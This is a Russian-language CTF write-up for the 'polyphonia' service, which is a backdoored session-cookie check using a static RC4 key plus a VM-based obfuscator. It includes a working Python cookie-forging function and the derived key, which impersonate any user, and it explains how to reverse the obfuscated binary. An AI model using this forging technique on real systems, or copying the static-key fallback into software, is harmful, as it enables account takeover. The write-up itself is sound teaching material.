Files

7.5 KiB
Raw Permalink Blame History

writeup | polyphonia

Уязвимость здесь находится в функции authenticate_cookie (см. sources/polyphonia/polyphonia_server_src/src/polyphonia_pg.c):

int authenticate_cookie(const char *cookie_hex, char *out_username, size_t username_len, int *out_user_id)
{
    if (!cookie_hex)
        return 0;

    if (out_username && username_len > 0)
        out_username[0] = '\0';
    if (out_user_id)
        *out_user_id = -1;

    char username_buf[64];
    int user_id = db_get_session_user(cookie_hex, username_buf);
    if (user_id > 0)
    {
        if (out_user_id)
            *out_user_id = user_id;
        if (out_username && username_len > 0)
        {
            strncpy(out_username, username_buf, username_len - 1);
            out_username[username_len - 1] = '\0';
        }
        return 1;
    }

    unsigned char session_bytes[SESSION_ID_LEN];
    if (!hex_to_bytes(cookie_hex, session_bytes, SESSION_ID_LEN))
        return 0;

    unsigned char decrypted[SESSION_ID_LEN];
    unsigned char keybuf[22];
    derive_rc4_key(keybuf, sizeof(keybuf));
    rc4_apply(keybuf, sizeof(keybuf), session_bytes, decrypted, SESSION_ID_LEN);

    char username[65];
    size_t name_len = 0;
    while (name_len < sizeof(username) - 1 && name_len < SESSION_ID_LEN && decrypted[name_len] != '\0')
    {
        username[name_len] = (char)decrypted[name_len];
        name_len++;
    }
    username[name_len] = '\0';

    if (name_len == 0)
        return 0;

    user_id = db_get_user_by_username(username, username_buf);
    if (user_id <= 0)
        return 0;

    if (out_user_id)
        *out_user_id = user_id;
    if (out_username && username_len > 0)
    {
        strncpy(out_username, username_buf, username_len - 1);
        out_username[username_len - 1] = '\0';
    }

    return 2;
}

Как видим, сначала идёт "правильный" способ проверки юзера по сессионной куке, через db_get_session_user, а затем с помощью RC4, если юзер не нашёлся, кука проверяется "неправильным" способом - расшифровывается по статическому ключу. И из неё получаем username (db_get_user_by_username).
Ключ всегда одинаков:

unsigned char keybuf[22];
derive_rc4_key(keybuf, sizeof(keybuf));

Соответственно можем сделать подходящую куку на любого юзера:

def forge_cookie(username: str) -> str:
    encoded = username.encode("utf-8")
    if len(encoded) > SESSION_LEN:
        raise ValueError("username too long for forged session payload")
    padded = encoded + b"\x00" * (SESSION_LEN - len(encoded))
    key = derive_rc4_key(22)
    ciphertext = rc4(key, padded)
    return ciphertext.hex()

Собственно ключ создаётся с помощью LCG:

# RC4 key derived via deterministic LCG (matches server runtime key derivation)
# LCG: state = (214013*state + 2531011) & 0x7fffffff; return state >> 16
# We generate 22 bytes by taking hi,lo bytes from successive 16-bit outputs.
def derive_rc4_key(length: int = 22) -> bytes:
    state = 0
    out = bytearray()
    while len(out) < length:
        state = (214013 * state + 2531011) & 0x7fffffff
        r = (state >> 16) & 0xFFFF
        hi = (r >> 8) & 0xFF
        lo = r & 0xFF
        if len(out) < length:
            out.append(hi)
        if len(out) < length:
            out.append(lo)
    return bytes(out)
>>> derive_rc4_key(22).hex()
'00261e2752f6098522972e1520ad7e1d28d2779416dd'

Но это не обязательно знать, можно просто выдернуть его один раз, т.к. он не меняется.

Всё вышеописанное никак не тянет на hard таск. Действительно, если бы были даны исходники, достаточно кинуть их в GPT и получить сплоит. Но есть очень важная деталь: hard-ом этот сервис становится, когда сурцов не даём, а даём ОБФУСЦИРОВАННЫЙ (!) бинарник.
Для обфускации использовался LLVM pass, который оборачивает все функции в виртуальную машину (транслирует LLVM IR в опкоды своей внутренней машины). См. код обфускатора: sources/polyphonia/obfuscator_src

Бинарник, выданный участникам, не strip-нут, что облегчает решение. Он расположен тут: services/polyphonia/dist/polyphonia-server-binary. Остаётся написать дизассемблер опкодов VM и понять логику работы сервера.

Смотрим логику работы VM-ки. Главный цикл исполнения (dispatch опкодов) находится в функции vm_execute_internal (sources/polyphonia/obfuscator_src/src/runtime/vm_runtime.c).
Ещё один нюанс работы VM заключается в постоянном шифровании/расшифровке. Например vm_decrypt_imm, здесь расшифровываем value:

case OP_PUSH_IMM: {
    int32_t cipher = (int32_t)vm_fetch32(&vm);
    int32_t value = vm_decrypt_imm(&vm, cipher);
    vm_push(&vm, (int64_t)value);
#if VM_ENABLE_TRACE
    if (vm.debug)
        printf("PUSH_IMM %d (SP now %d)\n", value, vm.sp);
#endif
    break;
}

В то же время в vm_push, напротив, идёт зашифровывание значения обратно, то есть на стеке VM значения лежат в зашифрованном виде:

static inline void vm_push(VMState *vm, int64_t plain)
{
    vm->stack[vm->sp++] = vm_encrypt_value(vm, plain);
}

Перед dispatch-ем инструкция fetch-ится с помощью vm_fetch8, расшифровка - ct ^ k, k - это так называемый rolling key, т.е. ключ ещё и не статический, а меняется по ходу работы программы:

static inline uint8_t vm_fetch8(VMState *vm)
{
    uint8_t ct = vm->bytecode[vm->pc];
    if (!vm->code_encrypted)
    {
        vm->pc++;
        return ct;
    }
    if (vm->code_off != vm->pc)
        vm_code_stream_reset(vm, vm->pc);
    if (vm->code_bpos >= 8)
    {
        vm->code_cur_ks = vm_stream_next(&vm->code_cur_state);
        vm->code_bpos = 0;
    }
    uint8_t k = (uint8_t)(vm->code_cur_ks & 0xFF);
    vm->code_cur_ks >>= 8;
    vm->code_bpos++;
    vm->code_off++;
    vm->pc++;
    return (uint8_t)(ct ^ k);
}

Меняется он при помощи xorshift64:

// xorshift64* keystream for blob encryption/decryption (simple stream)
static inline uint64_t vm_stream_next(uint64_t *s)
{
    uint64_t x = *s;
    x ^= x >> 12;
    x ^= x << 25;
    x ^= x >> 27;
    *s = x;
    return x * 2685821657736338717ULL;
}

Дальше дампим байткод VM из бинаря и засовываем его в дизассемблер, который расшифрует опкоды. Далее, внимательно читая ассемблерный листинг функций (или опять же воспользовавшись GPT), можно найти уязвимую функцию.